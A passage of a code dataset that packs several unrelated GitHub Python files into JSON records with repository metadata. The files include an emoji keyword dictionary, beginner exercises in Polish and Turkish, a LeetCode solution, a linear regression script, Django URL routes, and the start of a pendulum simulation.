80,\n \"casa\": 70\n },\n\n \":snail:\": # snail\n {\n \"snail\": 90,\n \"slow\": 60,\n \"slowpoke\": 60,\n \"forever\": 70\n },\n\n \":chicken:\": # chicken\n {\n \"chicken\": 90,\n \"scared\": 70,\n \"bawk\": 40\n },\n\n \":octopus:\": # octopus\n {\n \"squishy\": 100,\n \"octopus\": 100,\n \"ocean\": 30\n },\n\n \":honeybee:\": # bumblebee\n {\n \"bee\": 90,\n \"queen\": 50,\n \"hive\": 60,\n \"honey\": 60,\n \"honeycomb\": 70\n },\n\n \":fish:\": # fish\n {\n \"fish\": 90,\n \"sea\": 70,\n \"ocean\": 70,\n \"water\": 40\n },\n\n \":baby_chick:\": # baby chicken\n {\n \"chick\": 70\n },\n\n \":camel:\": # camel\n {\n \"camel\": 80,\n \"hump\": 90,\n \"day\": 30,\n \"desert\": 50,\n \"wednesday\": 60\n },\n\n \":tongue:\": # tongue\n {\n \"tongue\": 70,\n \"lick\": 70,\n \"taste\": 70\n },\n\n \":point_left:\": # hand pointing left\n {\n \"meet\": 80,\n \"me\": 70,\n \"come\": 80\n },\n\n \":punch:\": # fist\n {\n \"fist\": 70,\n \"fistbump\": 80\n },\n\n \":ok_hand:\": # perfect hand\n {\n \"perfect\": 80,\n \"yes\": 70,\n \"good\": 60,\n \"that\": 30\n },\n\n \":thumbsup:\": # thumbs up\n {\n \"thumbs\": 70\n },\n\n \":clap:\": # hands clapping\n {\n \"clap\": 80,\n \"hands\": 60\n },\n\n \":crown:\": # crown\n {\n \"crown\": 90,\n \"king\": 70,\n \"best\": 60,\n \"me\": 40\n },\n\n \":information_desk_person:\": # girl showing off\n {\n \"me\": 60,\n \"flawless\": 80,\n \"girl\": 50,\n \"pfft\": 80\n },\n\n \":massage:\": # girl head\n {\n \"mind\": 70,\n \"brain\": 70,\n \"thought\": 60,\n \"thoughts\": 50,\n \"thinking\": 60\n },\n\n \":ring:\": # diamond ring\n {\n \"ring\": 80,\n \"diamond\": 80,\n \"married\": 40,\n \"engaged\": 40\n },\n\n \":broken_heart:\": # broken heart\n {\n \"heartbreak\": 100\n },\n\n \":bulb:\": # lightbulb\n {\n \"lightbulb\": 100,\n \"light\": 50,\n \"idea\": 70,\n \"bright\": 80\n },\n\n \":bomb:\": # bomb\n {\n \"bomb\": 90,\n \"boom\": 70\n },\n\n \":zzz:\": # zzz\n {\n \"sleep\": 80,\n \"night\": 70,\n \"goodnight\": 70,\n \"zzz\": 100\n },\n\n \":droplet:\": # water droplet\n {\n \"water\": 90,\n \"drop\": 60\n },\n\n \":dash:\": # dust poof\n {\n \"gust\": 60,\n \"air\": 50,\n \"dust\": 50,\n \"cloud\": 40\n },\n\n \":poop:\": # pile of poo\n {\n \"poo\": 100,\n \"poop\": 90,\n \"pewp\": 100,\n \"dung\": 60,\n \"feces\": 80,\n \"brown\": 80,\n \"two\": 20,\n \"duece\": 50\n },\n\n \":muscle:\": # right arm flex\n {\n \"strong\": 80,\n \"muscles\": 100,\n \"muscle\": 100,\n \"flex\": 80,\n \"arm\": 60,\n \"bicep\": 100\n },\n\n \":100:\": # 100\n {\n \"hundred\": 100\n },\n\n \":moneybag:\": # sack of cash\n {\n \"cash\": 80,\n \"money\": 90,\n \"dough\": 60,\n \"stacks\": 50,\n \"dollars\": 70,\n \"diggity\": 40\n },\n\n \":notebook:\": # notebook\n {\n \"notes\": 80,\n \"notebook\": 80,\n \"writing\": 70,\n \"write\": 60,\n \"wrote\": 60\n },\n\n \":books:\": # books\n {\n \"book\": 80,\n \"books\": 90,\n \"study\": 80,\n \"studying\": 80,\n \"learning\": 60,\n \"learn\": 60,\n \"work\": 60\n },\n\n \":loudspeaker:\": # p.a. system\n {\n \"listen\": 60,\n \"me\": 30\n },\n\n \":iphone:\": # iPhone\n {\n \"iPhone\": 80,\n \"smartphone\": 70,\n \"phone\": 60,\n \"call\": 50\n },\n\n \":camera:\": # digital camera\n {\n \"camera\": 90,\n \"picture\": 70,\n \"pic\": 80,\n \"vid\": 60,\n \"video\": 50,\n \"snap\": 70\n },\n\n \":tv:\": # TV\n {\n \"tv\": 90,\n \"television\": 90,\n \"netflix\": 60,\n \"channel\": 70,\n \"channels\": 70\n },\n\n \":mag:\": # magnifying glass\n {\n \"see\": 60,\n \"magnifying\": 90,\n \"examine\": 80,\n \"identify\": 70\n },\n\n \":key:\": # key\n {\n \"key\": 90,\n \"keys\": 80,\n \"lock\": 10,\n \"locked\": 20,\n \"car\": 10\n },\n\n \":lock:\": # lock\n {\n \"lock\": 90,\n \"unlock\": 60,\n \"key\": 10,\n \"chastity\": 100,\n \"virgin\": 100\n },\n\n \":soon:\": # soon\n {\n \"soon\": 20\n },\n\n \":fire:\": # fire\n {\n \"fire\": 100,\n \"flame\": 90,\n \"hot\": 90,\n \"smoking\": 80,\n \"smokin'\": 80,\n \"fiya\": 80,\n \"dang\": 50\n },\n\n \":wrench:\": # wrench\n {\n \"wrench\": 100,\n \"tool\": 90,\n \"wench\": 100,\n \"work\": 50,\n \"craft\": 60,\n \"build\": 70,\n \"create\": 40,\n \"construct\": 80,\n \"assemble\": 20\n },\n\n \":crystal_ball:\": # crystal ball\n {\n \"future\": 70,\n \"crystal\": 80,\n \"ball\": 40\n },\n\n \":sunglasses:\": # sunglasses smiley\n {\n \"cool\": 70,\n \"chill\": 90,\n \"dude\": 90,\n \"nice\": 50,\n \"sweet\": 70,\n \"awesome\": 70,\n \"beans\": 30,\n \"sunglasses\": 100,\n \"summer\": 60\n },\n\n \":confused:\": # slanted frown\n {\n \"difficult\": 40,\n \"uncomfortable\": 60,\n \"meh\": 40,\n \"weird\": 50\n },\n\n \":no_mouth:\": # no mouth face\n {\n \"wut\": 100,\n \"wtf\": 40,\n \"uhhh\": 80,\n \"uhhhh\": 80\n },\n\n \":tractor:\": # tractor\n {\n \"tractor\": 100,\n \"farm\": 90,\n \"field\": 80,\n \"corn\": 60\n },\n\n \":shower:\": # showerhead\n {\n \"shower\": 90,\n \"rinse\": 50\n },\n\n \":earth_americas:\": # earth\n {\n \"earth\": 80,\n \"planet\": 60,\n \"globe\": 70,\n \"world\": 70\n },\n\n \":rooster:\": # chicken\n {\n \"chicken\": 100,\n \"scared\": 80,\n \"dinosaur\": 20\n },\n\n \":mute:\": # line through speaker\n {\n \"silent\": 90,\n \"mute\": 90\n },\n\n \":telescope:\": # telescope\n {\n \"telescope\": 100,\n \"outer\": 40,\n \"space\": 70,\n \"stars\": 80,\n \"stargazing\": 80\n },\n\n \":microscope:\": # microscope\n {\n \"science\": 80,\n \"microscope\": 100,\n \"scienctist\": 70,\n \"biology\": 70,\n \"chemistry\": 40,\n \"biochem\": 60,\n \"study\": 70\n }\n}","repo_name":"brackenburyn/CarlHacks","sub_path":"emoji_tags.py","file_name":"emoji_tags.py","file_ext":"py","file_size_in_byte":23546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37176904516","text":"#Napisać funkcję, która wypisze wszystkie parzyste z przekazanej listy elementów (wykorzystać funkcje z pkt 2)\ndef user_choice():\n user_elements = []\n amount_of_numbers = int(input(\"Ile chcesz podać liczb? ---> \"))\n for x in range(0, amount_of_numbers):\n x = int(input(f\"wprowadz {x+1} swoją liczbę : \"))\n user_elements.append(x)\n return user_elements\n\n\ndef is_even(elements):\n print(\"To są liczby parzyste z Twojej listy: \", end=\" \")\n for x in elements:\n if x % 2 == 0:\n print(x, end=\" \")\n\n\ndef main():\n lista = user_choice()\n is_even(lista)\n\nif __name__ == '__main__':\n main()\n","repo_name":"KarolKM/Python_CODEME","sub_path":"05 - Def/ex_4.py","file_name":"ex_4.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71580646293","text":"\nfrom indivo_client_py import IndivoClient\n\nimport settings\n\nfrom hashlib import md5\n\ndef get_indivo_client(request, with_session_token=True, token=None):\n server_params = {\"api_base\": settings.INDIVO_SERVER_LOCATION,\n \"authorization_base\": settings.INDIVO_UI_SERVER_BASE}\n consumer_params = settings.INDIVO_SERVER_OAUTH\n if with_session_token:\n token = request.session['access_token']\n client = IndivoClient(server_params, consumer_params, resource_token=token)\n return client\n\ndef _sessionkey(record_id=None, carenet_id=None):\n \"\"\"\n Use the record_id or the carenet_id to create a unique session key.\n \"\"\"\n if record_id:\n key = \"%s:%s\" % (settings.SUBMODULE_NAME, record_id)\n else:\n key = \"%s:%s\" % (settings.SUBMODULE_NAME, carenet_id)\n key = md5(key).hexdigest()[:8]\n return key\n","repo_name":"kevingill1966/openapp_indivo_demographics","sub_path":"openapp_indivo/demographics/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29081578167","text":"class Solution:\n def uniqueOccurrences(self, arr: List[int]) -> bool:\n from collections import Counter\n counter = Counter(arr)\n setCounter = set(counter.values())\n return len(setCounter) == len(counter.values())\n\nif __name__ == '__main__':\n arr = [1,2,2,1,1,3]\n arr = [1, 2]\n arr = [-3, 0, 1, -3, 1, 1, 1, -3, 10, 0]\n ret = Solution().uniqueOccurrences(arr)\n print(ret)","repo_name":"freesan44/LeetCode","sub_path":"LeetCode_1207.py","file_name":"LeetCode_1207.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12254046447","text":"import numpy as np \nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.preprocessing import Imputer, LabelEncoder, OneHotEncoder, StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nimport statsmodels.formula.api as sm\n\ndataset = pd.read_csv('50_Startups.csv')\n\nx = dataset.iloc[:,:-1].values\ny = dataset.iloc[:, 4].values\n\n# Encode categorical data\nlenc_x = LabelEncoder()\nx[:, 3] = lenc_x.fit_transform(x[:, 3])\nohenc_x = OneHotEncoder(categorical_features=[3])\nx = ohenc_x.fit_transform(x).toarray()\n\n# Removes the first variable of x - avoids dummy var trap\nx = x[:,1:]\n\n# Split into training and testing sets\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=0)\n\n# Feature scaling\n'''\nsc_x = StandardScaler()\nx_train = sc_x.fit_transform(x_train)\nx_test = sc_x.fit_transform(x_test)\n'''\n\n# Fitting MLR to training set\nregressor = LinearRegression()\nregressor.fit(x_train, y_train)\n\n# Prediction\ny_pred = regressor.predict(x_test)\n\n# Backward Elimination\n# Handling the constant\nx = np.append(arr=np.ones((50,1)).astype(int), values=x, axis=1)\nx_opt = x[:, [0, 1, 2, 3, 4, 5]]\nregressor_ols = sm.OLS(endog=y, exog=x_opt).fit()\nprint(regressor_ols.summary())\nx_opt = x[:, [0, 1, 3, 4, 5]]\nregressor_ols = sm.OLS(endog=y, exog=x_opt).fit()\nprint(regressor_ols.summary())\nx_opt = x[:, [0, 3, 4, 5]]\nregressor_ols = sm.OLS(endog=y, exog=x_opt).fit()\nprint(regressor_ols.summary())\nx_opt = x[:, [0, 3, 5]]\nregressor_ols = sm.OLS(endog=y, exog=x_opt).fit()\nprint(regressor_ols.summary())","repo_name":"t-eckert/learning_ml","sub_path":"Regression/Muliple Linear Regression/mlr.py","file_name":"mlr.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29130495820","text":"from fastapi import APIRouter, status\nfrom typing import List\nfrom config.db import conn\nfrom models.user import users\nfrom schemas.response import ResponseBase\nfrom schemas.user import User\nfrom helpers.response import create_response\n\nfrom cryptography.fernet import Fernet\n\nkey = Fernet.generate_key()\nf = Fernet(key)\n\nuser_routes = APIRouter()\n\n@user_routes.get(\"/users\", response_model=List[User], status_code=status.HTTP_200_OK, tags=[\"users\"])\ndef get_users():\n return conn.execute(users.select()).fetchall()\n\n@user_routes.post(\"/users\", response_model=ResponseBase[User], status_code=status.HTTP_201_CREATED, tags=[\"users\"])\ndef create_user(user: User):\n new_user = {\n \"name\": user.name,\n \"email\": user.email\n }\n new_user[\"password\"] = f.encrypt(user.password.encode(\"utf-8\")).decode(\"utf-8\")\n result = conn.execute(users.insert(), new_user)\n return create_response(\n message=\"User created successfully\",\n data=conn.execute(users.select().where(users.c.id == result.lastrowid)).first()\n )\n\n@user_routes.get(\"/users/{id}\", response_model=User, status_code=status.HTTP_200_OK, tags=[\"users\"])\ndef get_user(id: int):\n return conn.execute(users.select().where(users.c.id == id)).first()\n\n@user_routes.delete(\"/users/{id}\", tags=[\"users\"], response_model=ResponseBase, status_code=status.HTTP_200_OK)\ndef delete_user(id: int):\n conn.execute(users.delete().where(users.c.id == id))\n return create_response(message=\"User deleted successfully\", data=None)\n\n@user_routes.put(\"/users/{id}\", response_model=ResponseBase[User], status_code=status.HTTP_200_OK, tags=[\"users\"])\ndef update_user(id: int, user: User):\n new_user = {\n \"name\": user.name,\n \"email\": user.email,\n \"password\": f.encrypt(user.password.encode(\"utf-8\")).decode(\"utf-8\")\n }\n conn.execute(users.update().where(users.c.id == id), new_user)\n return create_response(\n message=\"User updated successfully\",\n data=conn.execute(users.select().where(users.c.id == id)).first()\n ) ","repo_name":"th3khan/restapi-fastapi-mysql","sub_path":"routes/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5563279466","text":"from __future__ import print_function\nimport torch\nfrom minc2500 import MINC2500\nfrom torchvision import transforms\n\nall_data = MINC2500(root_dir='../minc-2500_root',\n set_type='all', transform=transforms.ToTensor())\nall_loader = torch.utils.data.DataLoader(dataset=all_data,\n batch_size=100,\n num_workers=8)\n\n\ndef get_mean():\n global all_data, all_loader\n sum = torch.zeros(3)\n\n for i, (imgs, labels) in enumerate(all_loader):\n sum[0] = sum[0] + torch.sum(imgs[:, 0, :, :])\n sum[1] = sum[1] + torch.sum(imgs[:, 1, :, :])\n sum[2] = sum[2] + torch.sum(imgs[:, 2, :, :])\n\n mean = torch.Tensor([sum[0] / (len(all_data) * 362 * 362),\n sum[1] / (len(all_data) * 362 * 362),\n sum[2] / (len(all_data) * 362 * 362)])\n\n print('Mean: %f , %f , %f' % (mean[0], mean[1], mean[2]))\n\n return mean\n\n\ndef get_std(mean):\n global all_data, all_loader\n sum = torch.zeros(3)\n\n for i, (imgs, labels) in enumerate(all_loader):\n sum[0] = sum[0] + torch.sum(torch.pow(torch.add(imgs[:, 0, :, :],\n -mean[0]), 2))\n sum[1] = sum[1] + torch.sum(torch.pow(torch.add(imgs[:, 1, :, :],\n -mean[1]), 2))\n sum[2] = sum[2] + torch.sum(torch.pow(torch.add(imgs[:, 2, :, :],\n -mean[2]), 2))\n\n sum[0] = sum[0] / (len(all_data) * 362 * 362 - 1)\n sum[1] = sum[1] / (len(all_data) * 362 * 362 - 1)\n sum[2] = sum[2] / (len(all_data) * 362 * 362 - 1)\n\n std = torch.sqrt(sum)\n\n print('Std: %f , %f , %f' % (std[0], std[1], std[2]))\n\n return std\n\n\ndef main():\n\n # Compute the dataset mean values for each color channel\n mean = get_mean()\n\n # Compute the dataset std with the obtained mean values\n get_std(mean)\n\n print('Done')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"paulrox/pytorch-minc-dataset","sub_path":"datasets/get_minc2500_norm.py","file_name":"get_minc2500_norm.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"28463478178","text":"def solution(dirs):\n answer = 0\n now = (0,0)\n visited = set()\n x = [0,0,1,-1]\n y = [1,-1,0,0]\n \n for d in dirs :\n if d == \"U\" and now[1] < 5:\n new = (now[0]+x[0],now[1]+y[0])\n load = ((now[0],now[1]),(new[0],new[1]))\n now = new\n visited.add(load)\n elif d == \"D\" and now[1] > -5:\n new = (now[0]+x[1],now[1]+y[1])\n load = ((now[0],now[1]),(new[0],new[1]))\n now = new\n visited.add(load)\n elif d == \"R\" and now[0] < 5:\n new = (now[0]+x[2],now[1]+y[2])\n load = ((now[0],now[1]),(new[0],new[1]))\n now = new\n visited.add(load)\n elif d == \"L\" and now[0] > -5:\n new = (now[0]+x[3],now[1]+y[3])\n load = ((now[0],now[1]),(new[0],new[1]))\n now = new\n visited.add(load)\n \n answer = len(visited)\n for visit in visited:\n print(visit[1],visit[0])\n if (visit[1],visit[0]) in visited:\n answer -= 0.5\n\n return answer","repo_name":"LYUHIT/Exercise-programmers","sub_path":"프로그래머스/lv2/49994. 방문 길이/방문 길이.py","file_name":"방문 길이.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71735427095","text":"from django.conf.urls import url\nfrom my_app import views\n\napp_name = \"my_app\"\n\nurlpatterns = [\n\n ###################COPIL###########################\n url(r'^inregistrare_copil', views.inregistrare_copil, name=\"inregistrare_copil\"),\n url(r'^posteaza_anunt_copil/$', views.posteaza_anunt_copil, name=\"posteaza_anunt_copil\"),\n url(r'^contul_meu_copil/$', views.contul_meu_copil, name=\"contul_meu_copil\"),\n url(r'^deconectare_copil/$', views.deconectare_copil1, name=\"deconectare_copil1\"),\n url(r'^autentificate_copil/$', views.autentificate_copil, name=\"autentificate_copil\"),\n url(r'^anunturi_totale_copil/$', views.anunturi_totale_copil, name=\"anunturi_totale_copil\"),\n url(r'^pag_anunturi_copil/(?P\\d+)/$', views.pag_anunturi_copil, name=\"pag_anunturi_copil\"),\n url(r'^anunturi_favorite_c/$', views.anunturi_favorite_copil, name=\"anunturi_favorite_copil\"),\n url(r'^update_copil/(?P\\d+)/$', views.update_copil, name=\"update_copil\"),\n url(r'^pag_update_copil/$', views.pag_update_copil, name='pag_update_copil'),\n url(r'^delete_copil/(?P\\d+)/$', views.delete_copil, name=\"delete_copil\"),\n url(r'^pag_delete_copil/$', views.pag_delete_copil, name=\"pag_delete_copil\"),\n url(r'^actualizare_date_copil/(?P\\d+)/$', views.actualizare_date_copil, name=\"actualizare_date_copil\"),\n url(r'^schimbare_parola/(?P\\d+)/$', views.schimb_parola_copil, name=\"schimb_parola_copil\"),\n ###################CATEGORII_COPIL#################\n url(r'^pag_anunturi_postate/(?P\\d+)/$', views.pag_anunturi_postate, name=\"pag_anunturi_postate\"),\n url(r'^carti_copil/$', views.carti_copil, name=\"carti_copil\"),\n url(r'^pag_carti_copil/(?P\\d+)/$', views.pag_carti_copil, name=\"pag_carti_copil\"),\n url(r'^jucarii/$', views.jucarii_copil, name=\"jucarii_copil\"),\n url(r'^pag_jucarii_copil/(?P\\d+)/$', views.pag_jucarii_copil, name=\"pag_jucarii_copil\"),\n url(r'^haine_copil/$', views.haine_copil, name=\"haine_copil\"),\n url(r'^pag_haine_copil/(?P\\d+)/$', views.pag_haine_copil, name=\"pag_haine_copil\"),\n url(r'^articole_sportive_copil/$', views.articole_sportive_copil, name=\"articole_sportive_copil\"),\n url(r'^pag_articole_sportive_copil/(?P\\d+)/$', views.pag_articole_sportive, name=\"pag_articole_sportive\"),\n url(r'^schimburi_copil/$', views.schimburi_copil, name=\"schimburi_copil\"),\n url(r'^pag_schimburi_copil/(?P\\d+)/$', views.pag_schimburi_copil, name=\"pag_schimburi_copil\"),\n url(r'^mama_si_copil/$', views.mama_si_copil, name=\"mama_si_copil\"),\n url(r'^pag_mama_si_copil/(?P\\d+)/$', views.pag_mama_si_copil, name=\"pag_mama_si_copil\"),\n \n #####################ADULT#########################\n\n url(r'^inregistrare_adult/$', views.inregistrare_adult, name=\"inregistrare_adult\"),\n url(r'contul_meu_adult/$', views.contul_meu_adult, name=\"contul_meu_adult\"),\n url(r'^posteaza_anunt_adult/$', views.posteaza_anunt_adult, name=\"posteaza_anunt_adult\"),\n url(r'^deconectare_adult/$', views.deconectare_adult, name=\"deconectare_adult\"),\n url(r'^deconectare_adult1/$', views.deconectare_adult1, name=\"deconectare_adult1\"),\n url(r'^autentificate_adult/$', views.autentificate_adult, name=\"autentificate_adult\"),\n url(r'^anunturi_favorite_d/$', views.anunturi_favorite_d, name=\"anunturi_favorite_d\"),\n url(r'update_adult/(?P\\d+)/$', views.UpdateAdult, name=\"update_adult\"),\n url(r'^pag_update_adult/$', views.pag_update_adult, name=\"pag_update_adult\"),\n url(r'^delete_adult/(?P\\d+)/$', views.DeleteAdult, name=\"delete_adult\"),\n url(r'^pag_delete_adult/$', views.pag_delete_adult, name=\"pag_delete_adult\"),\n url(r'^actualizeaza_date_adult/(?P\\d+)/$', views.actualizeaza_date_adult, name=\"actualizeaza_date_adult\"),\n url(r'schimb_parola_adult/$', views.schimb_parola_adult, name=\"schimb_parola_adult\"),\n url(r'anunturi_totale_adult/$', views.anunturi_totale_adult, name=\"anunturi_totale_adult\"),\n url(r'pag_anunturi_postate_adult/(?P\\d+)/$', views.pag_anunturi_postate_adult, name=\"pag_anunturi_postate_adult\"),\n url(r'^pag_anunturi_adult/(?P\\d+)/$', views.pag_anunturi_adult, name=\"pag_anunturi_adult\"),\n url(r'^promoveaza-ti_afacerea_sau_serviciul/$', views.promoveazati_afacerea_serviciul, name=\"promoveazati_afacerea_serviciul\"),\n url(r'^promoveaza-ti_afacerea/$', views.promoveazati_afacerea, name=\"promoveazati_afacerea\"),\n url(r'^promoveazati_serviciul/$', views.promoveazati_serviciul, name=\"promoveazati_serviciul\"),\n #####################CATEGORII_ADULT#######################\n url(r'^auto_moto_ambarcatiuni/$', views.auto_adult, name=\"auto_adult\"),\n url(r'^autoturisme/$', views.autoturisme, name=\"autoturisme\"),\n url(r'^ambarcatiuni/$', views.ambarcatiuni, name=\"ambarcatiuni\"),\n url(r'^autoutilitare/$', views.autoutilitare, name=\"autoutilitare\"),\n url(r'^camioane_rulote_remorci/$', views.camioane_rulote_remorci, name=\"camioane_rulote_remorci\"),\n url(r'^motociclete_scutere_atv/$', views.motociclete_scutere_atv, name=\"motociclete_scutere_atv\"),\n url(r'^piese_auto/$', views.piese_auto, name=\"piese_auto\"),\n url(r'^roti_jante_anvelope', views.roti_jante_anvelope, name=\"roti_jante_anvelope\"),\n url(r'^caroserie_interior', views.caroserie_interior, name=\"caroserie_interior\"),\n url(r'^mecanica_electrica/$', views.mecanica_electrica, name=\"mecanica_electrica\"),\n url(r'^agro_si_industrie/$', views.agro_si_industrie, name=\"agro_si_industrie\"),\n url(r'^utilaje_agricole_si_industriale/$', views.utilaje, name=\"utilaje\"),\n url(r'^animale_domestice/$', views.animale_domestice, name=\"animale\"),\n url(r'^produse_piata/$', views.produse_piata, name=\"produse\"),\n url(r'^imobiliare/$', views.imobiliare, name=\"imobiliare\"),\n url(r'^apartamente_de_vanzare/$', views.apartamente_de_vanzare, name=\"apartamente_de_vanzare\"),\n url(r'^apartamente_de_inchiriat/$', views.apartamente_de_inchiriat, name=\"apartamente_de_inchiriat\"),\n url(r'^birouri/$', views.birouri, name=\"birouri\"),\n url(r'^case_de_vanzare/$', views.case_de_vanzare, name=\"case_de_vanzare\"),\n url(r'^case_de_inchiriat/$', views.case_de_inchiriat, name=\"case_de_inchiriat\"),\n url(r'^terenuri_agricole/$', views.terenuri_agricole, name=\"terenuri_agricole\"),\n url(r'^terenuri_constructii/$', views.terenuri_constructii, name=\"terenuri_constructii\"),\n url(r'^spatii_comerciale/$', views.spatii_comerciale, name=\"spatii_comerciale\"),\n url(r'^spatii_industriale/$', views.spatii_industriale, name=\"spatii_industriale\"),\n url(r'^moda/$', views.moda, name=\"moda\"),\n url(r'^haine_dama/$', views.haine_dama, name=\"haine_dama\"),\n url(r'^haine_barbati/$', views.haine_barbati, name=\"haine_barbati\"),\n url(r'^incaltaminte_dama/$', views.incaltaminte_dama, name=\"incaltaminte_dama\"),\n url(r'^incaltaminte_barbati/$', views.incaltaminte_barbati, name=\"incaltaminte_barbati\"),\n url(r'^bijuterii/$', views.bijuterii, name=\"bijuterii\"),\n url(r'^cosmetice/$', views.cosmetice, name=\"cosmetice\"),\n url(r'^accesorii/$', views.accesorii, name=\"accesorii\"),\n url(r'^electronice_si_electrocasnice/$', views.electronice_si_electrocasnice, name=\"electronice_si_electrocasnice\"),\n url(r'^telefoane/$', views.telefoane_adult, name=\"telefoane\"),\n url(r'^tablete/$', views.tablete_adult, name=\"tablete\"),\n url(r'^electrocasnice/$', views.electrocasnice, name=\"electrocasnice\"),\n url(r'^laptop_calculator/$', views.laptop_calculator, name=\"laptop_calculator\"),\n url(r'^aparate_foto/$', views.aparate_foto, name=\"aparate_foto\"),\n url(r'^console/$', views.console, name=\"console\"),\n url(r'^afaceri_servicii/$', views.afaceri_servicii, name=\"afaceri_servicii\"),\n url(r'^cafenele/$', views.cafenele, name=\"cafenele\"),\n url(r'^cofetarii/$', views.cofetarii, name=\"cofetarii\"),\n url(r'^constructii/$', views.constructii, name=\"constructii\"),\n url(r'^cabinete_medicale/$', views.cabinete_medicale, name=\"cabinete_medicale\"),\n url(r'^fast_food/$', views.fast_food, name=\"fast_food\"),\n url(r'^restaurante/$', views.restaurante, name=\"restaurante\"),\n url(r'^contabilitate/$', views.contabilitate, name=\"contabilitate\"),\n url(r'^digital_marketing/$', views.digital_marketing, name=\"digital_marketing\"),\n url(r'^grafic_design/$', views.grafic_design, name=\"grafic_design\"),\n url(r'^meditatii/$', views.meditatii, name=\"meditatii\"),\n url(r'^programare_si_tehnologie/$', views.programare_si_tehnologie, name=\"programare_si_tehnologie\"),\n url(r'^video_si_animatii/$', views.video_si_animatii, name=\"video_si_animatii\"),\n url(r'^animale_de_companie/$', views.animale_de_companie, name=\"animale_de_companie\"),\n url(r'^adoptii/$', views.adoptii_animale, name=\"adoptii_animale\"),\n url(r'^accesorii_animale/$', views.accesorii_animale, name=\"accesorii_animale\"),\n url(r'^locuri_de_munca/$', views.locuri_de_munca, name=\"locuri_de_munca\"),\n url(r'^agenti_de_vanzari/$', views.agenti_vanzari, name=\"agenti_vanzari\"),\n url(r'^confectii_croitori/$', views.confectii, name=\"confectii\"),\n url(r'^cosmeticieni_frizeri/$', views.cosmeticieni, name=\"cosmeticieni\"),\n url(r'^ingineri_meseriasi_constructori/$', views.ingineri, name=\"ingineri\"),\n url(r'^munca_in_strainatate/$', views.munca, name=\"munca\"),\n url(r'^paza_si_protectie/$', views.paza_si_protectie, name=\"paza_si_protectie\"),\n url(r'^personal_hotelier/$', views.personal_hotelier, name=\"personal_hotelier\"),\n url(r'^sport_timp_liber_si_hobby/$', views.sport_timp_liber, name=\"sport_timp_liber\"),\n url(r'^articole_sportive/$', views.articole_sportive_adult, name=\"articole_sportive_adult\"),\n url(r'^carti_filme/$', views.carti_filme, name=\"carti_filme\"),\n url(r'^arta_antichitati/$', views.arta_antichitati, name=\"arta_antichitati\"),\n url(r'^muzica_instrumente_muzicale/$', views.muzica_adult, name=\"muzica_adult\"),\n url(r'^mici_intreprinzatori_autohtoni/$', views.intreprinzatori_autohtoni, name=\"intreprinzatori_autohtoni\"),\n url(r'^matrimoniale/$', views.matrimoniale, name=\"matrimoniale\"),\n\n url(r'^pag_afaceri/(?P\\d+)/$', views.pag_afaceri, name=\"pag_afaceri\"),\n url(r'^pag_servicii/(?P\\d+)/$', views.pag_servicii, name=\"pag_servicii\"),\n]\n","repo_name":"xWalker3139/maglo.github.io","sub_path":"my_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":10212,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17454889833","text":"from django.urls import path\r\nfrom rest_framework.urlpatterns import format_suffix_patterns\r\nfrom api import views\r\n\r\n\r\nurlpatterns = [\r\n path('login', views.login),\r\n path('search_by_name',views.search_by_name),\r\n # path('contact_list',views.ContactList.as_view()),\r\n path('search_by_number',views.search_by_number),\r\n path('view_contact',views.view_contact),\r\n # path('register',views.register),\r\n path('register',views.Register.as_view())\r\n\r\n]","repo_name":"harshitbhomawat/InstaHyre","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71725056214","text":"print(\"\"\"*******************\nFaktoriyel Bulma Programı\n\nProgramdan çıkmak için 'q' ya basın.\n*******************\"\"\")\n\nwhile True:\n sayı = input(\"Sayı:\")\n if (sayı == \"q\"):\n print(\"Çıkış Yapıldı...\")\n break\n\n else:\n sayı = int(sayı)\n faktoriyel = 1\n for i in range(2,sayı+1):\n faktoriyel *= i\n print(\"Faktoriyel: {} \".format(faktoriyel))","repo_name":"Nyilmaz606/python","sub_path":"python1/ders/1.py/karısık/dögüler/faktoriyel_bulma.py","file_name":"faktoriyel_bulma.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25445298177","text":"#rozwiąże równanie ruchu wahadła matematycznego z tłumieniem zapisane w pliku lista4.pdf\r\n\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.integrate import odeint\r\nimport numpy as np\r\nimport argparse\r\nfrom fractions import Fraction\r\n\r\ndef f(u,t,Q, w, A):\r\n \"\"\" a function that creates an integral equation from given variables\r\n @param u (int): some needed variable\r\n @param t (int): a variable representing period of time\r\n @param Q (int): a variable\r\n @param w (int): another variable\r\n @param A (int): yet another variable\r\n @return: the equation\r\n \"\"\"\r\n return (u[1], -u[1]/Q - np.sin(u[0]) + A*np.cos(w*t))\r\n\r\n\r\ndef draw(Q, w, A, th, v):\r\n \"\"\" a function that 